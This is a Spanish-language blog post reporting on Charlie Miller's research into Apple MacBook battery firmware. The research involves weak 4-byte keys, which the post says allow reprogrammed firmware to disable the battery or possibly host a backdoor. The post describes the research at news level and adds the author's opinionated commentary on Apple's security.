Que existan vulnerabilidades y fallos de seguridad en el mundillo no es una novedad. Que los fallos de seguridad abunden sobre todo en MAC OS y los productos de Apple tampoco lo es, y es bien sabido y conocido por cualquier experto en el tema. Lo que sí es una novedad es que solo Apple podría hacer las cosas de tal modo de que un Hacker pudiese “freir” tu batería. Y así lo ha demostrado y publicado Charlie Miller, experto en seguridad productos de Apple. Desde aquí un saludo y felicitaciones por tan interesante exploit, del que estoy seguro más de uno se va a reir. Unos por usarlo, otros por padecerlos y tener que gastarse 100-150€ que cuesta el reemplazo de la batería (recordemos que no son extraibles y que Apple te cobra el impuesto revolucionario). Pero expliquemos el asunto que es interesante.

Hace unos días, Charlie Miller hace una pequeña “entrevista” para la revista Forbes y da a conocer lo que llevará dentro de unas semanas a la conferencia anual de seguridad informática Black Hat que se celebra ahora en Agosto. Esta conferencia es sin duda alguna la más interesante de todo el año, de aquí han salido vulnerabilidades tan graciosa como las de como controlar un iPhone por SMS sin ir más lejos. Pues bien, Charlie Miller es una de esas personas que podríamos llamar “Tocapelotas” de Apple (después me dicen a mí), y esta ocasión no es para menos. En Black Hat demostrará como la gran mayoría de todos los portátiles de Apple actuales (MacBook, MAcBook Air y MacBook Pro) son totalmente vulnerables a freir sus baterías. Esto de freir lo hemos escuchado muchas veces y parece ciencia ficción, y lo cierto es que era cierto… hasta hoy. En realidad el término “freir” no es del todo correcto dado que la batería no sufre ningún daño físico (al menos en la primera versión del exploit), pero si deja totalmente inutilizable la batería, obligando su reemplazo.

 

Charlie Miller ha explicado perfectamente el problema/pasos, y aunque aun no lo hemos visto en la conferencia podemos decir que es totalmente verídico. El exploit se aprovecha de un fallo de seguridad muy grave en la firmware interna de la propia batería. Recordar que en la era moderna prácticamente cualquier dispositivo posee una firmware propia que lo controla. Es decir, al igual que el software que controla un PC es Windows, recordemos que el software que controla la placa a nivel más bajo sería la Bios, o los HDD que en última instancia son gobernados por la firmware de estos. Pues bien, en el caso de estas baterías de Apple también estan gobernadas en un nivel más bajo por una firmware.

Toda Firmware que se precie tiene o debería de tener diferentes medidas de seguridad por los peligros que entraña evidentemente. Desde accesos al chip por contraseña, código cifrado, contenido firmado, validaciones CRC.. evidentemente estas medidas son necesarias siempre y cuando dicho chip pueda ser actualizable externamente, como una bios, la firmware del HDD, la firmware del adaptador de vídeo… Generalmente estos dispositivos no suelen ser unos bastiones de seguridad y no suele ser muy complicado hacer ingeniería inversa de esas firmwares para modificar algunas cosillas. Aplicando esto, si los chips son actualizables por firmware se les metiese una firmware malévola… el resultado sería un HDD KO, una tarjeta de video que le hemos cambiado la velocidad del ventilador para bien o para mal… etc etc. Y que le pasaría a una firmware de una batería? Pues que podríamos dejarla totalmente KO.

Claro… esto no es algo nuevo. Lo que sucede es que crear un exploit para una versión concreta de firmwre de un producto de hardware es un tanto absurdo. Esto es útil tan solo primero cuando se puede aprovechar de forma remota y segundo cuando es un ataque global y no que afecte a un número muy reducido de usuarios en entornos muy concretos. Por ejemplo, si un usuario quiere actualizar su firmware de su tarjeta de video tendría que descargarse casi con toda seguridad la aplicación de nVidia para ello y hacero en modo MSDOS… cosa no explotable de forma remota de ningun modo.

Apple hace unos años actualizó la firmware de sus baterías por medio de una actualización, y Charlie Miller puso el ojo donde lo tenía que poner. Estudió la actualización y otros enseres y descubrió algo aun más sorprendente. La firmare de las baterías estaba protegida por dos claves, las cuales inexplicablemente tan solo tenían una profundidad de 4 Bytes!! (es decir, casi con toda seguridad sea un código numérico de 4 cifras, por ejemplo 1234 o algo así). Evidentemente una vez descubrió esto, extraer las Key analizando la actualizacion de Apple o por fuerza bruta, no fue un problema. Una vez logró estas Key, logro acceso al chip y con él acceso a la firmware de este. Realizando un arduo trabajo de ingeniería inversa todo estaba finalizado. Con las key tiene la llave para poder “flashear” “modificar” la gran mayoría (no todas) de las baterís de Apple, mientras que con la ingeniería inversa puede colocar una firmware específica para dichas baterías, como por ejemplo, y es lo que mostrará en sus pruebas, cambiar el sistema de identificación para el sistema, de modo que cuando el sistema compruebe la batería que tiene, la batería le responda con un ID o estado de batería incorrecto!! y por tanto el propio equipo (ya sea a nivel hardware o OS) identifique la batería como no válida.

Para llevar a cabo dicho ataque, tan solo habría que tener acceso al equipo, ya fuese por acceso local o por acceso remoto por medio de un exploit de ejecución de código (muy muy muy fáciles de lograr en MAC OS). Es decir, un atacante podría usar un exploit para Safari con el payload de “la batería asesina”, el cual al visitar la web cebo esta lograría ejecución remota por dicho exploit y dicha ejecución sería la ejecución del payload con las consecuencias ya comentadas. El usuario no notaría nada!! Simplemente al reiniciar el equipo, este le diría que la batería no es válida. Tan simple como eso, no hablamos de robo de información, no hablamos de controlar el equipo… simplemente de “Freir la batería”. Dado que esto afecta a la gran mayoría de los MacBook, MacBook Air y MacBook pro del mercado, la cosa no es para tomársela a chiste o a broma.

Al final, Charlie Miller explica que se podría ser aun más rebuscado y colocar en la firmware de la batería un “loader” que podría cargar en el sistema una puerta trasera que fuese totalmente indetectable y que fuese totalmente imposible su eliminación. Esto es técnicamente posible, pero sería más complejo… habría primero que crear la firmware maligna, lo cual sería solo posible dependiendo de lo bien que se haya realizado la ingeniería inversa a la firmware original. Por otro lado, habría que encontrar algún otro fallo de seguridad para poder tener acceso a otros recursos del equipo… pero bueno, es digamos un “Proof of concept” que aun no se ha hacho, lo cual no quiere decir que no sea posible. La diferencia es que la batería KO ya es un hecho constatado, demostrado dentro de unos días públicamente!! mientras que este segundo vector de ataque está tan solo en papel.

 

Personalmente tengo ganas de verlo en acción en el Black Hat, más que nada porque estoy seguro que será una intervención graciosa, y no es lo mismo escucharlo que verlo. Seguro que lo tendremos en Streaming en directo.

Un saludo

Volver a arriba

Sobre Mí

Cambiar a la versión para móviles

Creative Commons License
Alma Oscura por Theliel is licensed under a Creative Commons Reconocimiento-No comercial-Sin obras derivadas 3.0 Unported License.
Basado en el trabajo de blog.theliel.es.
Para otros permisos que puedan exceder el ámbito de esta licencia, contactar en blog.theliel.es/about/contactar.